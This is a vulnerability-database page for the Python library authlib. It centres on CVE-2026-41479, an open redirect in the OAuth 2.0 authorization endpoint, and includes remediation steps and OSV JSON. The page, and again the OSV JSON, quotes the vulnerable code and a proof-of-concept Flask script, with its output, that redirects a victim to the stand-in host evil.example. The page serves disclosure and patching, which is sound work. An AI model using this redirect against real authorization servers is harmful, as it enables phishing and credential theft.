Vulnerabilities in pkg:pypi/authlib

PACKAGE
Advisory Identifier: GHSA-w8p2-r796-3vmq
Advisory Summary

CVE-2026-41479 is a MODERATE (CVSS 5.4) authlib oauth 2.0 has open vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Authlib libraries in the PyPI ecosystem. The issue involves authlib oauth 2.0 has open redirect in authorization api that allows attacker-controlled redirect_uri through unsupported response_type. Remediation is available by upgrading affected packages to version 1.6.10, 1.7.1.

12 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/authlib

12 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/authlib. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-w8p2-r796-3vmq CVE-2026-41479 MODERATE Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type
GHSA-r95x-qfjj-fjj2 CVE-2026-44681 MODERATE Authlib OIDC Implicit/Hybrid Authorization Vulnerable to Open Redirect
GHSA-jj8c-mmj3-mmgv CVE-2026-41425 MODERATE Authlib: Cross-site request forging when using cache
GHSA-fg6f-75jq-6523 CVE-2025-68158 MODERATE Authlib has 1-click Account Takeover vulnerability
GHSA-m344-f55w-2m6j CVE-2026-28498 HIGH Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding
GHSA-7432-952r-cw78 CVE-2026-28490 HIGH Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle
GHSA-wvwj-cvrp-7pv5 CVE-2026-27962 CRITICAL Authlib JWS JWK Header Injection: Signature Verification Bypass
GHSA-7wc2-qxgw-g8gg CVE-2026-28802 HIGH Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification
GHSA-pq5p-34cr-23v9 CVE-2025-61920 HIGH Authlib is vulnerable to Denial of Service via Oversized JOSE Segments
GHSA-g7f3-828f-7h7m CVE-2025-62706 MODERATE Authlib : JWE zip=DEF decompression bomb enables DoS
GHSA-9ggr-2464-2j32 CVE-2025-59420 HIGH Authlib: JWS/JWT accepts unknown crit headers (RFC violation → possible authz bypass)
GHSA-5357-c2jx-v7qh CVE-2024-37568 HIGH Authlib has algorithm confusion with asymmetric public keys

CVE-2026-41479 at a Glance

CVE Identifier CVE-2026-41479
GHSA Identifier GHSA-w8p2-r796-3vmq
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Authlib
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-41479

To remediate this vulnerability, upgrade all affected Authlib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

authlib fixed: 1.6.10
pip install authlib>=1.6.10
authlib fixed: 1.7.1
pip install authlib>=1.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show authlib

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-41479, inspect your installed packages using pip:

pip show authlib

Analyze the terminal output to locate any version of Authlib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.10), your application is affected.

Note: The pip show authlib command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Authlib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri. The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL. It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD. ### Details The root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and before any redirect URI validation has happened: ```python # authlib/oauth2/rfc6749/authorization_server.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.response_type}' is not supported by the server.", request.payload.response_type, redirect_uri=request.payload.redirect_uri, ) That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib automatically returns a redirect response to that URI: # authlib/oauth2/base.py def __call__(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().__call__(uri=uri) This means an unsupported response_type request can force the authorization server to redirect to an attacker-controlled URL even when: 1. no valid client exists, 2. no grant matched the request, 3. no registered redirect_uri was ever checked. This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error. Relevant source and documentation references: - authlib/oauth2/rfc6749/authorization_server.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst ### PoC Local test environment: - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS. Run this exact PoC from the repository root: export AUTHLIB_INSECURE_TRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flask_oauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" class AuthorizationCodeGrant(_AuthorizationCodeGrant): def save_authorization_code(self, code, request): raise RuntimeError("not reached") def query_authorization_code(self, code, client): return None def delete_authorization_code(self, authorization_code): pass def authenticate_user(self, authorization_code): return None app = Flask(__name__) app.secret_key = "testing" server = AuthorizationServer( app, query_client=lambda client_id: None, save_token=lambda token, request: None, ) server.register_grant(AuthorizationCodeGrant) @app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.get_consent_grant(end_user=None) except OAuth2Error as error: return server.handle_error_response(request, error) return server.create_authorization_response(grant=grant, grant_user=None) with app.test_client() as c: cases = { "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1", "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally- unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.status_code, "location": r.headers.get("Location"), "body": r.get_data(as_text=True), } print(json.dumps(out, indent=2)) PY Observed result: { "without_redirect_uri": { "status": 400, "location": null, "body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally- unsupported\", \"state\": \"s1\"}" }, "with_attacker_redirect_uri": { "status": 302, "location": "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1", "body": "" } } This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirect_uri. The same behavior was locally reproduced with the Django integration using RequestFactory; it returned: { "status": 302, "location": "https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1", "body": "" } ### Impact This is an unauthenticated open redirect in an internet-facing authorization endpoint. Who is impacted: - Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow. - No special feature flag is required beyond running the authorization endpoint itself. Attacker prerequisites: - None beyond the ability to send a victim to a crafted authorization URL. Practical harm: - Phishing and credential theft by abusing a trusted authorization server domain as a redirector. - Bypass of domain-based allowlists that trust the authorization server's host. - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting. The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.

CVE-2026-41479 Affected Authlib Versions

2 component(s)
Fixed Versions:
1.6.101.7.1
Product / Package Ecosystem Affected Versions Fixed Version
authlib
PyPI
< 1.6.10
1.6.10
authlib
PyPI
≥ 1.7.0
< 1.7.1
All 1 versions
1.7.0
1.7.1

References

Frequently Asked Questions

What is CVE-2026-41479?
CVE-2026-41479 is a security vulnerability in Authlib involving Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Authlib versions are affected?
Affected versions include releases prior to 1.6.10, 1.7.1 across affected packages: authlib.
What version fixes CVE-2026-41479?
Upgrading to 1.6.10, 1.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is authlib affected?
Yes, authlib is affected in releases prior to 1.6.10, 1.7.1. Upgrade your dependency to 1.6.10, 1.7.1 or later.
What is the CVSS score of CVE-2026-41479?
CVE-2026-41479 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-41479?
CVE-2026-41479 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check PyPI dependencies for CVE-2026-41479?
Run the dependency tree command: 'pip show authlib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w8p2-r796-3vmq",
  "modified" : "2026-07-18T17:25:18Z",
  "published" : "2026-06-08T17:52:04Z",
  "aliases" : [ "CVE-2026-41479" ],
  "summary" : "Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type",
  "details" : "### Summary\nAuthlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.\n\nThe vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.\n\nIt was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.\n\n### Details\nThe root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request\n  `redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and\n  before any redirect URI validation has happened:\n\n  ```python\n  # authlib/oauth2/rfc6749/authorization_server.py\n  raise UnsupportedResponseTypeError(\n      f\"The response type '{request.payload.response_type}' is not supported by the server.\",\n      request.payload.response_type,\n      redirect_uri=request.payload.redirect_uri,\n  )\n\n  That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib\n  automatically returns a redirect response to that URI:\n\n  # authlib/oauth2/base.py\n  def __call__(self, uri=None):\n      if self.redirect_uri:\n          params = self.get_body()\n          loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n          return 302, \"\", [(\"Location\", loc)]\n      return super().__call__(uri=uri)\n\n  This means an unsupported response_type request can force the authorization server to redirect\n  to an attacker-controlled URL even when:\n\n  1. no valid client exists,\n  2. no grant matched the request,\n  3. no registered redirect_uri was ever checked.\n\n  This is not a contrived code path. It is reachable through the normal Authlib authorization\n  endpoint flow documented for Flask and Django integrations, where applications are told to call\n  server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.\n\n  Relevant source and documentation references:\n\n  - authlib/oauth2/rfc6749/authorization_server.py\n  - authlib/oauth2/base.py\n  - docs/flask/2/authorization-server.rst\n  - docs/django/2/authorization-server.rst\n\n  ### PoC\n\n  Local test environment:\n\n  - Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1\n  - git describe: v1.6.6-104-g68e6ab3f\n  - Python virtualenv: ./.venv\n  - Environment variable: AUTHLIB_INSECURE_TRANSPORT=true\n\n  Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.\n  It does not create the vulnerable behavior. In a real deployment the same logic is reachable\n  over HTTPS.\n\n  Run this exact PoC from the repository root:\n\n  export AUTHLIB_INSECURE_TRANSPORT=true\n  ./.venv/bin/python - <<'PY'\n  import os, json\n  from flask import Flask, request\n  from authlib.integrations.flask_oauth2 import AuthorizationServer\n  from authlib.oauth2 import OAuth2Error\n  from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant\n\n  os.environ[\"AUTHLIB_INSECURE_TRANSPORT\"] = \"true\"\n\n  class AuthorizationCodeGrant(_AuthorizationCodeGrant):\n      def save_authorization_code(self, code, request):\n          raise RuntimeError(\"not reached\")\n      def query_authorization_code(self, code, client):\n          return None\n      def delete_authorization_code(self, authorization_code):\n          pass\n      def authenticate_user(self, authorization_code):\n          return None\n\n  app = Flask(__name__)\n  app.secret_key = \"testing\"\n\n  server = AuthorizationServer(\n      app,\n      query_client=lambda client_id: None,\n      save_token=lambda token, request: None,\n  )\n  server.register_grant(AuthorizationCodeGrant)\n\n  @app.route(\"/oauth/authorize\", methods=[\"GET\", \"POST\"])\n  def authorize():\n      try:\n          grant = server.get_consent_grant(end_user=None)\n      except OAuth2Error as error:\n          return server.handle_error_response(request, error)\n      return server.create_authorization_response(grant=grant, grant_user=None)\n\n  with app.test_client() as c:\n      cases = {\n          \"without_redirect_uri\": \"/oauth/authorize?response_type=totally-unsupported&state=s1\",\n          \"with_attacker_redirect_uri\": \"/oauth/authorize?response_type=totally-\n  unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1\",\n      }\n      out = {}\n      for name, url in cases.items():\n          r = c.get(url)\n          out[name] = {\n              \"status\": r.status_code,\n              \"location\": r.headers.get(\"Location\"),\n              \"body\": r.get_data(as_text=True),\n          }\n      print(json.dumps(out, indent=2))\n  PY\n\n  Observed result:\n\n  {\n    \"without_redirect_uri\": {\n      \"status\": 400,\n      \"location\": null,\n      \"body\": \"{\\\"error\\\": \\\"unsupported_response_type\\\", \\\"error_description\\\": \\\"totally-\n  unsupported\\\", \\\"state\\\": \\\"s1\\\"}\"\n    },\n    \"with_attacker_redirect_uri\": {\n      \"status\": 302,\n      \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1\",                                                                                    \n      \"body\": \"\"\n    }\n  }\n\n  This demonstrates that the only difference between a local error and an external redirect is\n  whether the attacker supplies redirect_uri.\n\n  The same behavior was locally reproduced with the Django integration using RequestFactory; it\n  returned:\n\n  {\n    \"status\": 302,\n    \"location\":\n  \"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1\",                                                                                    \n    \"body\": \"\"\n  }\n\n### Impact\n  This is an unauthenticated open redirect in an internet-facing authorization endpoint.\n\n  Who is impacted:\n\n  - Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization\n    endpoint flow.\n  - No special feature flag is required beyond running the authorization endpoint itself.\n\n  Attacker prerequisites:\n\n  - None beyond the ability to send a victim to a crafted authorization URL.\n\n  Practical harm:\n\n  - Phishing and credential theft by abusing a trusted authorization server domain as a\n    redirector.\n  - Bypass of domain-based allowlists that trust the authorization server's host.\n  - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to\n    reject unregistered redirect URIs before redirecting.\n\n  The issue is especially concerning because the redirect happens before client existence and\n  redirect URI legitimacy are established.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "authlib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "authlib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.7.0"
      }, {
        "fixed" : "1.7.1"
      } ]
    } ],
    "versions" : [ "1.7.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/authlib/authlib/security/advisories/GHSA-w8p2-r796-3vmq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41479"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/authlib/authlib"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-2119.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-08T17:52:04Z",
    "nvd_published_at" : "2026-06-22T21:16:24Z"
  }
}